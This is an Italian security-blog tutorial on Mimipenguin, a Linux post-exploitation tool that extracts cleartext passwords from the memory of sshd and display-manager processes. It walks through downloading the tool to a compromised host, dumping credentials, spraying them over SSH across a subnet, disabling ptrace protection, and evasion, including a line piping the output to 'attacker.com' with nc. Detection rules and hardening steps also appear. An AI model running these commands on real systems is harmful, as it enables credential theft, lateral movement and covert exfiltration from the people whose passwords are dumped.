linux

Mimipenguin: Dump Credenziali Linux da Memoria (Post-Exploitation)

Mimipenguin: Dump Credenziali Linux da Memoria (Post-Exploitation)

Mimipenguin è uno script post-exploitation per Linux che estrae password in chiaro dalla memoria di processi come SSH, sudo e display manager.

  • Pubblicato il 2026-02-17
  • Tempo di lettura: 5 min

Introduzione #

Mimipenguin è un tool Python/Bash che estrae credenziali in chiaro dalla memoria di processi Linux. È l’equivalente Linux di Mimikatz: invece di cercare password salvate su disco (browser, config files), Mimipenguin le estrae direttamente dalla RAM dove i processi le tengono temporaneamente.

Quando un utente fa login su Linux (via SSH, GUI, o console), le credenziali passano attraverso vari processi (sshd, gdm, lightdm, systemd). Questi processi mantengono password in memoria per autenticazione PAM. Mimipenguin scansiona la memoria di questi processi e estrae le password prima che vengano cancellate.

Il tool è particolarmente utile quando:

  • Hai compromesso un sistema ma non trovi password salvate
  • Vuoi credenziali di utenti attualmente loggati (incluso root)
  • Need password per lateral movement ma non hai hash da crackare
  • Sistema usa 2FA/OTP (memory dump bypassa questo)

Mimipenguin funziona su distribution comuni (Ubuntu, Debian, CentOS, Fedora) e supporta display manager comuni (GDM, LightDM, Xorg). Non richiede root per dumpare password del proprio utente, ma root access aumenta significativamente success rate.

In questo articolo imparerai come usare Mimipenguin per memory credential extraction, quali processi targetizzare, troubleshooting quando fallisce, e difese contro memory dumping. Vedrai esempi pratici di post-exploitation dove Mimipenguin recupera password che altri tool non trovano.


1️⃣ Setup e Installazione #

Download #

bash
# Clone repository
git clone https://github.com/huntergregal/mimipenguin.git
cd mimipenguin

# Script disponibili
ls -la
# mimipenguin.py (Python version)
# mimipenguin.sh (Bash version)

Quale usare?

  • Python version: Più affidabile, meglio mantenuta
  • Bash version: No dependencies, funziona ovunque

Dependencies #

Python version:

bash
# Ubuntu/Debian
apt-get install python3 python3-pycryptodome

# Verifica
python3 mimipenguin.py

Bash version:

bash
# No dependencies
# Richiede solo: strings, grep, cut (standard Unix tools)
bash mimipenguin.sh

Trasferimento su target #

bash
# HTTP download
wget http://10.10.14.5:8000/mimipenguin.py

# Bash version (più piccolo)
wget http://10.10.14.5:8000/mimipenguin.sh
chmod +x mimipenguin.sh

2️⃣ Uso Base #

Esecuzione standard #

bash
# Python
sudo python3 mimipenguin.py

# Bash
sudo bash mimipenguin.sh

Output esempio:

text
[SYSTEM - GNOME]
[DUMP] user1:Password123!
[DUMP] user2:MySecurePass2024

[SSH]
[DUMP] root:AdminR00t!

[DUMP COMPLETE]
3 passwords found

🎓 Interpretazione:

  • [SYSTEM - GNOME] = Password da GDM/GNOME display manager
  • [SSH] = Password da sshd process
  • Format: username:password

Targeting specific processes #

bash
# Solo processi SSH
sudo python3 mimipenguin.py --process sshd

# Solo display manager
sudo python3 mimipenguin.py --process gdm

# Verbose output
sudo python3 mimipenguin.py -v

Output parsing #

bash
# Save to file
sudo python3 mimipenguin.py > creds.txt

# Parse usernames only
grep "\[DUMP\]" creds.txt | cut -d: -f1 | cut -d' ' -f2

# Parse passwords only
grep "\[DUMP\]" creds.txt | cut -d: -f2

3️⃣ Scenari Pratici #

Scenario A: SSH user password recovery #

Contesto: Hai compromesso server come www-data, vuoi password di user SSH loggato.

bash
# Check utenti loggati
who
# john     pts/0        2024-02-05 14:30 (192.168.1.100)

# Mimipenguin
sudo python3 mimipenguin.py

Output:

text
[SSH]
[DUMP] john:JohnsPassword2024!

Exploitation:

bash
# Switch to user
su john
# Password: JohnsPassword2024!
john@server:~$

# O SSH da tua macchina
ssh john@target
# Password: JohnsPassword2024!

Timeline: 2 minuti


Scenario B: Root password via GDM dump #

Contesto: Desktop Linux compromesso, root ha fatto GUI login.

bash
# Mimipenguin (richiede root per dump altri utenti)
sudo python3 mimipenguin.py

Output:

text
[SYSTEM - GNOME]
[DUMP] root:R00tGNU/Linux!
[DUMP] alice:AliceDesktop123

Use case:

  • su root con password trovata
  • SSH come root su altri server (password reuse)
  • Decrypt encrypted volumes se password è reusata

Scenario C: Post-exploitation credential harvesting #

Contesto: Hai root via kernel exploit, vuoi password per lateral movement.

bash
# Mimipenguin
sudo python3 mimipenguin.py > /tmp/creds.txt

# Test password su altri host
cat /tmp/creds.txt | grep "\[DUMP\]" | while read line; do
  user=$(echo $line | cut -d' ' -f2 | cut -d: -f1)
  pass=$(echo $line | cut -d: -f2)
  
  echo "[*] Testing $user:$pass on 10.10.11.0/24"
  nmap -p 22 --script ssh-brute --script-args userdb=<(echo $user),passdb=<(echo $pass) 10.10.11.0/24
done

Per approfondire lateral movement techniques, consulta strategie di lateral movement in enterprise networks.


4️⃣ Processo Technical Details #

Quali processi Mimipenguin targeta #

Display Managers:

  • gdm / gdm3 (GNOME Display Manager)
  • lightdm (LightDM)
  • kdm (KDE Display Manager)
  • xdm (X Display Manager)

Authentication:

  • sshd (SSH daemon)
  • vsftpd (FTP daemon)
  • systemd-logind

Desktop Environments:

  • gnome-keyring-daemon
  • kwallet (KDE)

Come funziona memory dumping #

bash
# Mimipenguin fa essenzialmente:
# 1. Trova PID del processo target
ps aux | grep gdm

# 2. Legge /proc/PID/mem o usa gcore
gcore -o /tmp/dump [PID]

# 3. Estrae password con strings + regex
strings /tmp/dump.PID | grep -E "password|passwd" -A2 -B2

5️⃣ Troubleshooting #

Mimipenguin non trova password #

Causa 1: Password già cleared dalla memoria.

Fix: Attendi nuovo login. Oppure usa watch per continuous monitoring:

bash
watch -n 30 'sudo python3 mimipenguin.py'

Causa 2: Display manager non supportato.

Fix:

bash
# Check quale DM è in uso
ps aux | grep -E "gdm|lightdm|xdm|kdm"

# Se custom DM, manual memory analysis richiesto

Causa 3: Kernel protection (YAMA ptrace scope).

Fix:

bash
# Check ptrace protection
cat /proc/sys/kernel/yama/ptrace_scope
# 1 = restricted
# 0 = unrestricted

# Disable temporaneamente (root required)
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

# Re-run Mimipenguin
sudo python3 mimipenguin.py

“Permission denied” errors #

bash
# Mimipenguin richiede root per dump altri utenti
# Se non sei root:
sudo python3 mimipenguin.py

# Se sudo non disponibile, solo tua password può essere dumpata
python3 mimipenguin.py  # Dumpa solo tuo user

6️⃣ Detection & Defense #

Cosa detecta Blue Team #

Process monitoring:

text
- gcore execution (memory dump tool)
- Reads to /proc/[PID]/mem
- Ptrace syscalls
- Strings execution su memory dumps

auditd rule:

bash
# Monitor memory access
-a always,exit -F arch=b64 -S ptrace -k memory_access
-w /proc/*/mem -p r -k proc_mem_read

Defense: Hardening #

1. ptrace protection (YAMA):

bash
# Restrict ptrace to same-user only
echo 1 > /proc/sys/kernel/yama/ptrace_scope

# Persist across reboot
echo "kernel.yama.ptrace_scope = 1" >> /etc/sysctl.conf

2. Disable core dumps:

bash
# /etc/security/limits.conf
* hard core 0

# Verify
ulimit -c
# 0

3. Memory encryption (teorico):

Alcuni kernel modules supportano RAM encryption ma performance cost è alto.


Evasion techniques #

bash
# 1. Process hiding
# Rename mimipenguin
cp mimipenguin.py system_check.py

# 2. Output obfuscation
sudo python3 mimipenguin.py | base64 > encoded.txt

# 3. Remote exfiltration
sudo python3 mimipenguin.py | nc attacker.com 4444

Per tecniche avanzate di evasion, leggi evading Linux security monitoring tools.


7️⃣ Limitations #

Password non in memoria #

Mimipenguin fallisce se:

  • Utente ha fatto logout (password cleared)
  • Sistema usa password-less auth (SSH keys only)
  • Sistema usa Kerberos/LDAP (password non mai locale)
  • Display manager usa hashing/encryption in RAM

Alternative: LaZagne per password salvate, keylogger per future password.


Root requirement #

Senza root:

  • Puoi dumpare solo TUA password
  • No access ad altri utenti
  • Limited process memory access

8️⃣ Alternatives e Comparison #

ToolPlatformTargetRoot ReqSuccess Rate
MimipenguinLinuxMemory (live)⚠️ For other users60-70%
LaZagneMultiDisk (saved)❌ No80-90%
MimikatzWindowsMemory (live)⚠️ Admin/SYSTEM90%+
hashcatMultiHash crack❌ NoDepends on hash

Mimipenguin + LaZagne combo: Best approach. LaZagne per saved passwords, Mimipenguin per live memory.


9️⃣ FAQ #

Q: Mimipenguin funziona su Wayland?

A: Parzialmente. Wayland security model rende memory dumping più difficile. X11 è più vulnerable.

Q: Quanto tempo password restano in memoria?

A: Variabile. Da pochi secondi (dopo auth success) a ore (se processo mantiene session). Display manager sessions tengono più a lungo.

Q: Mimipenguin bypassa 2FA?

A: . Dumpa password primaria, non OTP. Se hai password, 2FA è già superato nella maggior parte configurazioni.

Q: È detection rate alto da AV?

A: Medio-basso. Mimipenguin è Python script, meno flaggato di binary tools. Ma behavior (ptrace, /proc access) è detectable da EDR.

Q: Posso usare Mimipenguin senza root?

A: Solo per tuo utente. Per dump altri users, root è richiesto.


10️⃣ Cheat Sheet #

TaskCommand
Basic dumpsudo python3 mimipenguin.py
Bash versionsudo bash mimipenguin.sh
Verbosesudo python3 mimipenguin.py -v
Save outputsudo python3 mimipenguin.py > creds.txt
Continuous monitoringwatch -n 60 'sudo python3 mimipenguin.py'
Only SSHsudo python3 mimipenguin.py --process sshd

Disclaimer #

Mimipenguin è tool per security research e penetration testing autorizzato. Memory dumping di password altrui senza autorizzazione è illegale (violations of privacy laws, unauthorized access). Usa solo in:

  • Lab personali
  • Pentest con contratto firmato
  • Con consenso esplicito proprietario sistema

Repository: https://github.com/huntergregal/mimipenguin


Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.

#credential dumping

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.